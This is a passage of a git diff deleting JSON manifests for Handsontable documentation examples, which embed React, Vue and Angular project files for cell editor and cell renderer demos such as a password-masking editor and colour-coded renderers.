editors","docPermalink":"/cell-editor","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example3.tsx.json deleted file mode 100644 index da463886..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Functions ▸ Cell editor · Extending an existing editor · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { TextEditor } from 'handsontable/editors/textEditor';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nclass PasswordEditor extends TextEditor {\n override createElements(): void {\n super.createElements();\n this.TEXTAREA = this.hot.rootDocument.createElement('input') as HTMLInputElement;\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(\n _instance: Handsontable.Core,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-editor/react/example3.tsx","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example3","exampleTitle":"Extending an existing editor","docPermalink":"/cell-editor","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__vue__example2.vue.json deleted file mode 100644 index fa472641..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Functions ▸ Cell editor · Class-based editors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-functions/cell-editor/vue/example2.vue","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example1.ts.json deleted file mode 100644 index cd213cad..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, ChangeDetectionStrategy, Component, OnInit, ViewChild } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-cover-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: ``,\n})\nexport class CoverRendererComponent extends HotCellRendererComponent {\n}\n\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n @if (hotSettings) {\n \n }\n `,\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: CoverRendererComponent },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example1.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example2.ts.json deleted file mode 100644 index 464d660f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Use the renderer component within React's Context · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit, TemplateRef, ViewChild } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n \n \n\n \n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild('myCellTpl', { static: true }) myCellTpl!: TemplateRef;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: this.myCellTpl },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example2.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example2","exampleTitle":"Use the renderer component within React's Context","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example3.ts.json deleted file mode 100644 index 6729b318..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-color-renderer',\n template: `{{value}}`,\n standalone: true,\n imports: [],\n changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class ColorRendererComponent extends HotCellRendererComponent string\n}> implements OnInit {\n textColor = '';\n\n ngOnInit() {\n const props = this.getProps();\n this.textColor = props.textColor ?? 'black';\n\n if (props.textColorFn && typeof props.textColorFn === 'function') {\n this.textColor = props.textColorFn(this.value);\n }\n }\n\n}\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 3\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 9\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n rate: 5\n },\n ];\n\n readonly hotSettings: GridSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: ColorRendererComponent, rendererProps: { textColor: 'blue' } },\n { data: 'description', renderer: ColorRendererComponent, rendererProps: { textColor: 'orange' } },\n { data: 'rate', renderer: ColorRendererComponent, rendererProps: { textColorFn: (value: string) => +value <= 5 ? 'red' : 'inherit' } },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example3.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example3","exampleTitle":"Declare a custom renderer as a function","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example4.ts.json deleted file mode 100644 index fa46b3f1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
